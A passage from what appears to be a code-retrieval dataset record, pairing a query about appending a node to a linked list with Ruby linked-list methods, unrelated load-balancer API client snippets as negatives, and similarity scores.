status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RealizationStateBarrierConfig')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiRealizationApi#update_realization_state_barrier_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update(options={})\n data = Hash.new\n data[:type] = options[:type].upcase if options[:type]\n data[:delay] = options[:delay] if options[:delay]\n data[:timeout] = options[:timeout] if options[:timeout]\n data['attemptsBeforeDeactivation'] = options[:attempts_before_deactivation] if options[:attempts_before_deactivation]\n data[:type].upcase! if data[:type]\n if ['HTTP','HTTPS'].include?(data[:type])\n data[:path] = options[:path] if options[:path]\n data['statusRegex'] = options[:status_regex] if options[:status_regex]\n data['bodyRegex'] = options[:body_regex] if options[:body_regex]\n end\n response = @connection.lbreq(\"PUT\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@load_balancer.id.to_s)}/healthmonitor\",@lbmgmtport,@lbmgmtscheme,{},data.to_json)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n populate\n true\n end", "def describe_load_balancers(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancers'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :server_id\n\t\t\targs[:query]['ServerId'] = optional[:server_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def set_baggage(baggage = {})\n @span_context = SpanContext.new(\n id: span_context.id,\n trace_id: span_context.trace_id,\n baggage: baggage\n )\n end", "def set_load_banancer_listener_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBanancerListenerStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :listener_port\n\t\t\targs[:query]['ListenerPort'] = optional[:listener_port]\n\t\tend\n\t\tif optional.key? :listener_status\n\t\t\targs[:query]['ListenerStatus'] = optional[:listener_status]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def set_lb_hostname\n obj_behavior(@deployment, :set_input, \"LB_HOSTNAME\",get_lb_hostname_input)\n end", "def status(response)\n region, environment, balancer = split_params(response)\n\n client = new_client(\"#{region}-#{environment}\")\n\n # get the IDs from the config and add it to the client\n # respond with an error if we don't recognize the user input\n\n begin\n balancer_ids(region, environment, balancer).each { |id| client.add_lb(id) }\n rescue MissingKey => e\n return response.reply(e.to_s)\n end\n\n # get the status of the LBs\n # do it within a begin block so we can catch\n # the exceptions thrown by SpaceCadet\n begin\n # get the details for all LBs we care about\n details = client.status\n\n # if we don't have any details, bail\n return response.reply(t('status.no_details', region: region, env: environment, balancer: balancer)) if details.empty?\n\n # otherwise, render the proper output and print it\n response.reply(render_template('status', output: render_status(details)))\n\n rescue DoubleDutch::SpaceCadet::Error => e # catch all SpaceCadet errors\n title = \"An error has occured trying to get the status of #{region}.#{environment}.#{balancer}:\"\n reply = render_template('exception', title: title, exception: e.class, message: e.message)\n response.reply(reply)\n\n rescue StandardError => e # catch all remaining errors\n title = \"A generic excpetion has been caught trying to get the status of #{region}.#{environment}.#{balancer}:\"\n reply = render_template('exception', title: title, exception: e.class, message: e.message)\n response.reply(reply)\n end\n end", "def services_web_application_name_servers_web_server_name_load_balancing_put(authorization, web_application_name, web_server_name, load_balancing, opts = {})\n data,status_code,headers = services_web_application_name_servers_web_server_name_load_balancing_put_with_http_info(authorization, web_application_name, web_server_name, load_balancing, opts)\n return data,status_code,headers\n end", "def create_load_balancer_pool(lb_pool, opts = {})\n data, _status_code, _headers = create_load_balancer_pool_with_http_info(lb_pool, opts)\n data\n end", "def arn\n if @config['classic']\n \"arn:\"+(MU::Cloud::AWS.isGovCloud?(@region) ? \"aws-us-gov\" : \"aws\")+\":elasticloadbalancing:\"+@region+\":\"+MU::Cloud::AWS.credToAcct(@credentials)+\":loadbalancer/\"+@cloud_id\n else\n cloud_desc.load_balancer_arn\n end\n end", "def update!(**args)\n @bgp_lb_config = args[:bgp_lb_config] if args.key?(:bgp_lb_config)\n @manual_lb_config = args[:manual_lb_config] if args.key?(:manual_lb_config)\n @metal_lb_config = args[:metal_lb_config] if args.key?(:metal_lb_config)\n @port_config = args[:port_config] if args.key?(:port_config)\n @vip_config = args[:vip_config] if args.key?(:vip_config)\n end", "def set_load_interval(name, opts = {})\n cmds = command_builder('load-interval', opts)\n configure_interface(name, cmds)\n end", "def perform_reload\n api.balancer_reload(self)\n end", "def patch_lb_persistence_profile_with_http_info(lb_persistence_profile_id, lb_persistence_profile, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi.patch_lb_persistence_profile ...'\n end\n # verify the required parameter 'lb_persistence_profile_id' is set\n if @api_client.config.client_side_validation && lb_persistence_profile_id.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_persistence_profile_id' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi.patch_lb_persistence_profile\"\n end\n # verify the required parameter 'lb_persistence_profile' is set\n if @api_client.config.client_side_validation && lb_persistence_profile.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_persistence_profile' when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi.patch_lb_persistence_profile\"\n end\n # resource path\n local_var_path = '/infra/lb-persistence-profiles/{lb-persistence-profile-id}'.sub('{' + 'lb-persistence-profile-id' + '}', lb_persistence_profile_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_persistence_profile)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerProfilesLoadBalancerPersistenceProfilesApi#patch_lb_persistence_profile\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def bbox(args = {})\n name = args.delete(:name) || nil\n if args[:reload]\n @bbox = BBox.new(self, name)\n else\n @bbox ||= BBox.new(self, name)\n end\n end", "def call_create_lbvserver(ipaddress=\"0.0.0.0\", args = {})\n print \"adding lb vserver...\"\n @lbvserver_name = \"vs-#{@servicename}-usa-qa-wh\"\n # hard coded for testing\n ipaddress = \"10.126.255.53\"\n # hard coded for testing\n port = \"80\"\n # hard coded for testing\n http_or_ssl = \"HTTP\"\n @uri.path = \"/nitro/v1/config/lbvserver/\"\n @request = Net::HTTP::Post.new(@uri)\n @request.basic_auth \"#{@username}\", \"#{@password}\"\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.lbvserver+json')\n @request.body = { :lbvserver => { :name => \"#{@lbvserver_name}\", :servicetype => \"#{http_or_ssl}\", :ipv46 => \"#{ipaddress}\", :port => \"#{port}\", :persistencetype => \"COOKIEINSERT\", :timeout => \"15\", :lbmethod => \"LRTM\", :cltTimeout => \"1800\", :appflowlog => \"DISABLED\" } }.to_json \n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n if response.code == \"201\"\n print \"success!\\n\"\n @status_hash[:lbvserver] = \"@lbvserver_name\"\n else\n print \"fail!\\n\"\n print \"code: \", response.code.to_i, \"\\n\"\n print \"body: \", response.body, \"\\n\"\n end\n }\n end" ]
[ "0.6881987", "0.63550526", "0.60747653", "0.5950793", "0.58297247", "0.5668725", "0.5498494", "0.54914826", "0.5449023", "0.54453933", "0.5378115", "0.53044623", "0.5206537", "0.5151398", "0.51446295", "0.51323014", "0.507111", "0.5070972", "0.50553644", "0.501969", "0.5003848", "0.49969953", "0.4996103", "0.4977172", "0.49646702", "0.49463516", "0.49351886", "0.4897898", "0.4897376", "0.4892773", "0.48809484", "0.48746037", "0.48670977", "0.4863048", "0.48176742", "0.48150194", "0.4809792", "0.480485", "0.47917855", "0.47540808", "0.4746545", "0.4743216", "0.4715113", "0.46943647", "0.468213", "0.46772134", "0.4664976", "0.46523556", "0.46245855", "0.4624316", "0.46138132", "0.46046966", "0.4589644", "0.45337114", "0.4517151", "0.45163703", "0.45163703", "0.4514026", "0.45121437", "0.45110482", "0.44755933", "0.4450327", "0.44440186", "0.4435756", "0.44327703", "0.44317275", "0.44274077", "0.4426139", "0.4423258", "0.44223556", "0.441991", "0.44156826", "0.44080707", "0.440642", "0.4406232", "0.43965495", "0.43832684", "0.4376766", "0.43702072", "0.43675295", "0.43668532", "0.43629855", "0.43526566", "0.4352551", "0.4345958", "0.43443274", "0.43285054", "0.43223542", "0.43183437", "0.42957094", "0.42942914", "0.4293242", "0.4292669", "0.42909974", "0.42843923", "0.42801702", "0.42734218", "0.4271716", "0.42712504", "0.42616862" ]
0.7620888
0
This method creates a new `Node` using `data`, and inserts it at the end of the list.
def add_to_tail(node) if head.nil? @head = node @tail = node else @tail.next = node @tail = node end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert(data)\n node = Node.new data\n\n if @head.nil?\n node.next_node = node\n else\n # the new node will have the same trailing node as old\n node.next_node = @head.next_node\n # the old head will become the tail\n @head.next_node = node\n end\n\n @head = node\n end", "def insert data\n\t\tnode = Node.new data\n\t\tunless head\n\t\t\tself.head = node\n\t\telse\n\t\t\tnode.prev = self.tail\n\t\t\tself.tail.next = node\n\t\tend\n\t\tself.tail = node\n\t\tself.length += 1\n\tend", "def insert data\n\t\tnode = Node.new data\n\t\tunless head\n\t\t\tself.head = node\n\t\telse\n\t\t\tself.tail.next = node\n\t\tend\n\t\tself.tail = node\n\t\tself.length += 1\n\tend", "def append(data)\n\t\ttmp = Node.new(data)\n\t\tif @head.nil?\n\t\t\t@head = tmp\n\t\t\t@tail = tmp\n\t\t\t\n\t\telse\n\t\t\[email protected] = tmp\n\t\t\ttmp.previous = @tail\n\t\t\ttmp.next = nil\n\t\t\t@tail = tmp\n\t\tend\n\t\t@count += 1\n\tend", "def append(data)\n if @head.data.nil?\n @head = Node.new(data)\n else\n node = @head\n node = node.next_node until node.next_node.nil?\n node.next_node = Node.new(data)\n end\n end", "def append(data)\n node = Node.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next = node\n @tail = node\n end\n end", "def append(data)\n\t\ttemp = Node.new(data)\n\t\tif (!@head)\n\t\t\t@head = temp\n\t\t\t@tail = temp\n\t\telse\n\t\t\ttemp.set_prev(@tail)\n\t\t\[email protected]_next(temp)\n\t\t\t@tail = temp\n\t\tend\n\t\t@size +=1\n\tend", "def ll_append(data)\n new_node = Node.new(data)\n \n if @num_nodes == 0\n @head = new_node\n @tail = new_node\n else\n end_node = @tail\n end_node.set_Next(new_node)\n @tail = new_node\n end\n \n @num_nodes += 1\n end", "def append(data)\n\t\[email protected]_node = Node.new(data, nil)\n\t\t@tail = @tail.next_node\n\tend", "def add_to_tail (data)\n new_element = Node.new (data)\n if @head.nil?\n @head = new_element\n else\n current_node = @head\n while current_node.next\n current_node = current_node.next\n end\n current_node.next = new_element\n end\n end", "def insert(data)\n node = Node.new(data)\n if head.nil?\n @head = node\n else\n @head.push(node)\n end\n end", "def ll_push(data)\n new_node = Node.new(data)\n if @num_nodes == 0\n @head = new_node\n @tail = new_node\n else\n current = @head\n new_node.set_Next(current)\n @head = new_node\n end\n \n @num_nodes += 1\n end", "def append(data)\n if head\n next_node = head\n next_node = next_node.next_node while next_node.next_node\n next_node.next_node = Node.new(data: data)\n else\n @head = Node.new(data: data)\n end\n end", "def insert(data)\n node_to_insert = SinglyListNode.new(data, nil)\n if @head.nil? && @tail.nil?\n # both and head and tail is empty so make data both\n @head = node_to_insert\n @tail = @head\n else \n @tail.nextNode = node_to_insert\n @tail = node_to_insert\n end\n @length += 1\n end", "def insert(data)\n @head = Node.new(data, @head)\n end", "def add_node(data)\n\n\t\t# change tactics if we're adding the first node\n\t\tif @head.nil?\n\n\t\t\tadd_first_node(data)\n\n\t\telse\n\n\t\t\tnew_node = Node.new(data)\n\n\t\t\t# point the last node to our new one\n\t\t\[email protected] = new_node\n\n\t\t\t# set our new node as the official last node\n\t\t\t@last = new_node\n\n\t\tend\n\t\tputs \"Added node with the value: #{data}\"\n\tend", "def add_node(data)\n if @head.nil?\n add_first_node(data)\n else\n new_node = Node.new(data, nil)\n @tail.next = new_node\n @tail = new_node\n end\n # puts \"Added node with value: #{data}\"\n end", "def insert(data)\n @head = Node.new(data, head)\n end", "def push(data)\n node = Classifieds::ListNode.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next = node\n node.prev = @tail\n @tail = node\n end\n node\n end", "def push new_data\n # 1 & 2: Allocate the Node & Put in the data\n new_node = Node.new(new_data)\n # 3. Make next of new Node as head\n new_node.next_node = @head\n # 4. change prev of head node to new_node\n if @head != nil\n @head.prev_node = new_node\n end\n # 5. move the head to point to the new node\n @head = new_node\n end", "def add(data)\n node = Node.new(data: data)\n if head\n tail.next_node = node\n else\n @head = node\n end\n\n @tail = node\n self\n end", "def push data\n node = Node.new data\n\n if self.head == nil\n self.head = node\n node.next = node\n else\n temp = self.head\n \n while temp.next != self.head\n temp = temp.next\n end\n\n temp.next = node\n node.next = self.head\n self.head = node\n end\n\n self\n end", "def push data\n node = Node.new data\n if length == 0\n self.tail = node\n end\n\n node.next = self.head\n self.head = node\n self.length += 1\n end", "def add_last(data)\n @head.nil? ? @head = Node.new(data, @head) : add_last_helper(data, @head)\n end", "def add_last(data)\n if !@head\n @head = Node.new(data)\n else\n current = @head\n while current.next\n current = current.next\n end\n current.next = Node.new(data)\n end\n end", "def add_last(data)\n new_node = Node.new(data)\n # Using add_first function to add new node in case the list is empty.\n if @head.nil?\n add_first(new_node.data)\n return \n end\n\n pointer = @head\n # Until we reach the last node\n until pointer.next.nil?\n # Move the pointer to the next.\n pointer = pointer.next\n end\n\n pointer.next = new_node\n new_node.next = nil\n end", "def add_last(data)\n last_node = Node.new(data)\n\n unless head\n @head = last_node\n else\n current_node = @head\n until current_node.next.nil?\n current_node = current_node.next\n end\n current_node.next = last_node\n end\n end", "def push(data)\r\n node = Node.new(data)\r\n if @head.nil?\r\n @head = node\r\n else\r\n tail = @head\r\n tail = tail.next while tail.next\r\n tail.next = node\r\n end\r\n end", "def push(data)\n \tunless @head\n \t initialize data\n \t else\n \tnode = Node.new(data)\n \t\tnode.next = @last\n \t\tnode.prev = @last.prev\n \t\[email protected] = node\n \t\[email protected] = node\n \t\t@size += 1\n \t\tnil\n \t\tend\n end", "def add_last(data)\n if @head.nil? \n @head = Node.new(data)\n else\n pointer = @head \n while !pointer.next.nil?\n pointer = pointer.next\n end\n pointer.next = Node.new(data)\n end\n end", "def push(data)\n\t\ttemp = Node.new(data)\n\t\tif (!@head)\n\t\t\t@head = temp\n\t\t\t@tail = temp\n\t\telse\n\t\t\ttemp.set_next(@head)\n\t\t\[email protected]_prev(temp)\n\t\t\t@head = temp\n\t\tend\n\t\t@size += 1\n\tend", "def insert data\n\t\treturn insert_next(nil, data) if (self.length == 0)\n\t\treturn insert_next(self.head, data) if (self.length == 1)\n\n\t\t# We have to find the last node and insert the\n\t\t# new node right next to it.\n\t\tself.current = head\n\t\ti = 0;\n\t\twhile ((i += 1) < self.length)\n\t\t\tmove_next\n\t\tend\n\n\t\t# current == \"tail\".\n insert_next(self.current, data)\n\tend", "def insert_next prev_node, data\n\t\tnew_node = Node.new data\n\t\tif self.length == 0\n\t\t\tself.head = new_node.next = new_node\n\t\telse\n\t\t\tnew_node.next = prev_node.next\n\t\t\tprev_node.next = new_node\n\t\tend\n self.length += 1\n \n new_node\n\tend", "def add_last(data)\n current = @head\n \n if current.nil?\n @head = Node.new(data)\n return\n end\n while !current.next.nil?\n current = current.next\n end\n current.next = Node.new(data)\n end", "def add_last(data)\n # make a new last node\n new_last_node = Node.new(data, nil)\n # get the last node\n current = head\n if head.nil?\n @head = new_last_node\n last_node = head\n else\n while !current.nil?\n last_node = current\n current = current.next\n end\n # make the last node point to a new last node\n last_node.next = new_last_node\n end\n return new_last_node\n end", "def <<(data)\n node = DoubleNode.new(:data => data)\n\n # list has nodes, add this to last\n if @tail\n @tail.tail = node\n node.head = @tail\n\n # list empty, add first node\n else\n @head = node\n end\n\n # node always added to end of list\n @tail = node\n @size += 1\n\n self\n end", "def add_last(data)\n if @head.nil?\n add_first(data)\n else\n current = @head\n until current.next.nil?\n current = current.next\n end\n current.next = Node.new(data)\n end\n end", "def add_last(data)\n\n if head.nil?\n add_first(data)\n return\n end\n \n node = head\n until node.next.nil?\n node = node.next\n end\n \n node.next = Node.new(data)\n end", "def append_elem(data)\n\t\tnode = Node.new(data)\n\t\tnode.next_node = nil\n\t\t@head = node if @head == nil\n\t\t@last_elem.next_node = node if @last_elem != nil\n\t\t@last_elem = node\n\tend", "def add_last(data)\n new_node = Node.new(data)\n\n if @head.nil?\n add_first(data)\n return # THIS RETURN IS VERY IMPORTANT\n end\n\n current = @head\n\n until current.next.nil? \n current = current.next\n end\n\n current.next = new_node\n return\n end", "def add_last(data)\n new_node = Node.new(data)\n if !@head\n @head = new_node\n else\n current = @head\n # while current.next\n while current.next != nil\n current = current.next\n end\n current.next = new_node\n end\nend", "def add_last(data)\n current_node = @head\n\n if current_node == nil\n add_first(data)\n return\n end\n\n while current_node.next != nil\n current_node = current_node.next\n end\n\n current_node.next = Node.new(data, nil)\n end", "def add_last(data)\n current = @head\n # if list is empty, add data to front\n if length == 0\n add_first(data)\n else\n # use length method to move to the last node in the list\n (length - 1).times do \n current = current.next\n end\n last = current\n # insert the new node after the current last node; current last node's next become new last node\n new_node = Node.new(data)\n last.next = new_node\n # assign value of new node's next to nil\n new_node.next = nil\n end\n end", "def <<(data)\n @tail = SingleNode.new(data, @tail)\n @head ||= @tail\n @size += 1\n\n self\n end", "def prepend(data)\n node = Node.new(data)\n if @head.nil?\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end", "def insert_next prev_node, data\n\t\tnew_node = Node.new data\n\t\tif self.length == 0\n\t\t\tself.head = new_node.next = new_node\n\t\telse\n\t\t\tnew_node.next = prev_node.next\n\t\t\tprev_node.next = new_node\n\t\tend\n\t\tself.length += 1\n self.hash[data] = new_node\n new_node\n\tend", "def insert(data)\n @nodes << data\n heapify_up\n end", "def prepend(data)\n new_node = Node.new(data: data)\n new_node.next_node = @head\n @head = Node.new(data: data, next_node: @head)\n end", "def insert(loc, data)\n if @head.data == nil\n @head = Node.new(data)\n else\n counter = 1\n node = @head\n until counter == loc\n node = node.next_node\n counter += 1\n end\n new_node = Node.new(data)\n new_node.next_node = node.next_node\n node.next_node = new_node\n end\n end", "def prepend(data)\n node = Node.new(data)\n node.next_node = @head\n @head = node\n end", "def prepend(data)\n\t\ttmp = Node.new(data)\n\t\tif @head.nil?\n\t\t\t@head = tmp\n\t\t\t@tail = tmp\n\t\telse \n\t\t\ttmp.next = @head\n\t\t\ttmp.previous = nil\n\t\t\[email protected] = tmp\n\t\t\t@head = tmp\n\t\tend\n\t\t@count += 1\n\n\tend", "def add_first_node(data)\n\t\t@head = Node.new(data, nil)\n\t\t@last = @head\n\tend", "def add_first_node(data)\n @head = Node.new(data, nil)\n @tail = @head\n end", "def prepend(data)\n\t\t@previous_head = @head\n\t\t@head = Node.new(data, @previous_head)\n\tend", "def add_last(data)\n if @head.nil?\n @head = Node.new(data)\n return @head.data\n else\n current = self.last_node\n current.next = Node.new(data)\n return current.next.data\n end\n end", "def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end", "def add_first(data)\n\n new_node = Node.new(data) # create a new node\n new_node.next = @head # assign the new node's NEXT to the @head\n @head = new_node # assign the head position to the new node\n end", "def add_first(data)\n new_node = Node.new(data, @head)\n\n @head = new_node\n\n return new_node\n end", "def add(data)\n if (@header == nil)\n @header = Node.new(data)\n else\n current = @header\n # go to end of the linked list\n while (current.next) do\n current = current.next\n end\n current.next = Node.new(data)\n end\n @number_of_nodes += 1\n end", "def insert_after(idx, data)\n curr_node = node_at(idx)\n fail ArgumentError, \"index is out of range\" unless curr_node\n new_node = Node.new(data)\n new_node.next_node = curr_node.next_node\n curr_node.next_node = new_node\n end", "def insert_at(index,data)\n return nil if @head.nil? || index > self.size - 1\n if index == 0\n self.prepend(data)\n elsif index == self.size - 1\n self.append(data)\n else\n new_node = Node.new(data)\n current_node = @head\n prev_node = nil\n index.times do\n prev_node,current_node = current_node,current_node.next\n end\n end\n new_node.next,prev.next = current_node,new_node \n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n new_node = Node.new(data, nextNode = @head)\n @head = new_node\n end", "def add_first(data) \n @head = Node.new(data, @head)\n end", "def insert_at_index(index, data)\n current_pointer = self.head\n (1..index - 1).each do |number|\n if current_pointer.next.nil? && (index != number)\n current_pointer.next = Node.new(nil, nil)\n end\n current_pointer = current_pointer.next\n end\n if current_pointer\n old_next = current_pointer.next\n current_pointer.next = Node.new(data, old_next)\n end\n end", "def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end", "def insert_after prev_node, new_data\n # 1. check if the given prev_node exists\n if prev_node == nil\n puts \"the given previous node cannot be NULL\"\n end\n # 2. Create new node\n # 3. Put in the data\n new_node = Node.new(new_data)\n # 4. Make next of new Node as next of prev_node\n new_node.next_node = prev_node.next_node\n # 5. make next of prev_node as new_node\n prev_node.next_node = new_node\n # 6. Make prev_node ass previous of new_node\n new_node.prev_node = prev_node\n # 7. Change previous of new_nodes's next node\n if new_node.next_node != nil\n new_node.next_node.prev_node = new_node\n end\n end", "def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end", "def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end", "def add_first(data)\n # Create a new node\n new_node = Node.new(data)\n if @head.nil?\n @head = new_node\n return\n end\n\n new_node.next = @head \n # conection between the new node and the next one that is the head.\n @head = new_node # The new node becomes the head.\n\n end", "def enqueue(data)\n node = QueueNode.new data\n unless last.nil?\n @last.next = node\n @last = node\n end\n @first = node if @first.nil?\n end", "def push(node, data)\n return Node.new data unless node\n\n data = replace_data(node, data) if is_first?(data, node.data)\n\n if left_first?(node.left, node.right)\n node.right = push(node.right, data)\n else\n node.left = push(node.left, data)\n end\n\n node\n end", "def insert_at!(data, position)\n node, head, tail = set_insert_vars(data, position)\n\n # before: head -> position -> tail\n # after: head -> node -> tail\n head.tail = node if head\n node.tail = tail\n tail.head = node if tail\n node.head = head\n\n # set @tail for list or it will use old tail\n if position.tail?\n @tail = node\n end\n\n # orphan the old node\n position.head = nil\n position.tail = nil\n end", "def unshift(data)\n \tunless @head\n \t initialize data\n \telse\n \t node = Node.new(data)\n \tnode.prev = nil\n \t\tnode.next = @head\n\n \t\[email protected] = node\n \t\t@size += 1\n \t\tnil\n \t\tend\n end", "def add_first(data)\n @head = Node.new(data, head)\n end", "def insert_data(data)\n self.root = insert(data)\n end", "def insert_at(data, index)\n\t\t@current_node = at(index)\n\t\t@insert_node = Node.new(data, @current_node)\n\n\t\t#Handeling the case that user inserts a node at head position (even though prepend exists for that)\n\t\tif @current_node != @head\n\t\t\t@old_link_node = at(index - 1)\n\t\t\t@old_link_node.next_node = @insert_node\n\t\telse\n\t\t\t@head = @insert_node\n\t\tend\n\tend", "def push(value)\n new_node = LinkedListNode.new(value, @data)\n @data = new_node\n end", "def push(new_value)\n @data = LinkedListNode.new(new_value, @data)\n end", "def push(value)\n @data = LinkedListNode.new value, @data\n end", "def push(value)\r\n if @data != nil\r\n node = LinkedListNode.new(value, @data)\r\n else\r\n node = LinkedListNode.new(value)\r\n end\r\n @data = node\r\n end", "def insert(data)\n if @data.nil?\n @data = data\n else\n if data < @data\n if @left.nil?\n @left = Node.new(data)\n else\n @left.insert(data)\n end\n elsif data > @data\n if @right.nil?\n @right = Node.new(data)\n else\n @right.insert(data)\n end\n end\n end\n end", "def push(value)\n @data = LinkedListNode.new(value, @data) \n end", "def insert_at(data, index)\n return nil if index < 0 || index > @size \n new_node = Node.new(data, at(index))\n at(index - 1).next_node = new_node\n @size += 1\n end", "def insert(data, index)\n if index.zero?\n push_front(data)\n return\n end\n\n temp = @head\n\n (0..index - 2).each do |_i|\n break if temp.next.nil?\n\n temp = temp.next\n end\n\n next_node = temp.next\n temp.next = Node.new(data, temp, next_node)\n @tail = temp.next if next_node.nil?\n @size += 1\n end", "def push(value)\n @data = LinkedListNode.new(value, data)\n end", "def add(info)\n\t\t_new = Node.new(info, previous: @tail)\n\t\tif @head.nil?\n\t\t\t@head = _new\n\t\t\t@tail = @head\n\t\telse\n\t\t\[email protected] = _new\n\t\t\t@tail = _new\n\t\tend\n\t\t@length += 1\n\t\tself\n\tend", "def push(value)\n @data = LinkedListNode.new(value, @data)\n end", "def push(value)\n @data = LinkedListNode.new(value, @data)\n end", "def insertNodeAtPosition(llist, data, position)\n tracked_node = llist\n new_node = SinglyLinkedListNode.new data\n\n unless llist\n return new_node\n end\n if position == 0\n new_node.next = llist\n return new_node\n end\n\n current_position = 0\n current_node = llist\n while(current_position != position - 1 && llist.next != nil)\n current_node = current_node.next\n current_position += 1\n end\n node_at_position = current_node.next\n current_node.next = new_node\n new_node.next = node_at_position\n\n return tracked_node\n\nend", "def push_front(data)\n next_node = @head\n temp = Node.new(data, nil, next_node)\n @head = temp\n @size += 1\n end", "def insert_sorted(data)\n return insert(data) if !@head || data <= @head.data\n current = @head\n while current.next && current.next.data < data\n current = current.next\n end\n current.next = Node.new(data, current.next)\n end", "def <<(data)\n insert(-1, data)\n end", "def push(value)\r\n\t\tif @data.nil? \r\n\t\t\t@data = LinkedListNode.new(value) \r\n\t\telse\r\n\t\t\t@data = LinkedListNode.new(value, @data)\r\n\t\tend\r\n\tend", "def insert_sorted(data)\n if (!@head || data <= @head.data)\n return insert(data)\n end\n current = @head\n while (current.next && current.next.data < data)\n current = current.next\n end\n current.next = Node.new(data, current.next)\n end", "def push(value)\n @data = LinkedListNode.new(value, @data)\n end", "def push(value)\n @data = LinkedListNode.new(value, @data)\n end", "def push(value)\n # IMPLEMENT ME!\n if @data == nil\n @data = LinkedListNode.new(value)\n else\n @data = LinkedListNode.new(value, @data)\n end\n end", "def sortedInsert(head, data)\n current_node = head\n new_node = DoublyLinkedListNode.new(data)\n \n if current_node.nil?\n return head = new_node\n elsif current_node.data > data\n new_node.next = current_node\n current_node.prev = new_node\n return head = new_node\n end\n \n while !current_node.next.nil?\n if current_node.next.data > data\n new_node.next = current_node.next\n current_node.next.prev = new_node\n current_node.next = new_node\n new_node.prev = current_node\n return head\n else\n current_node = current_node.next\n end\n end\n \n current_node.next = new_node\n new_node.prev = current_node\n head\nend" ]
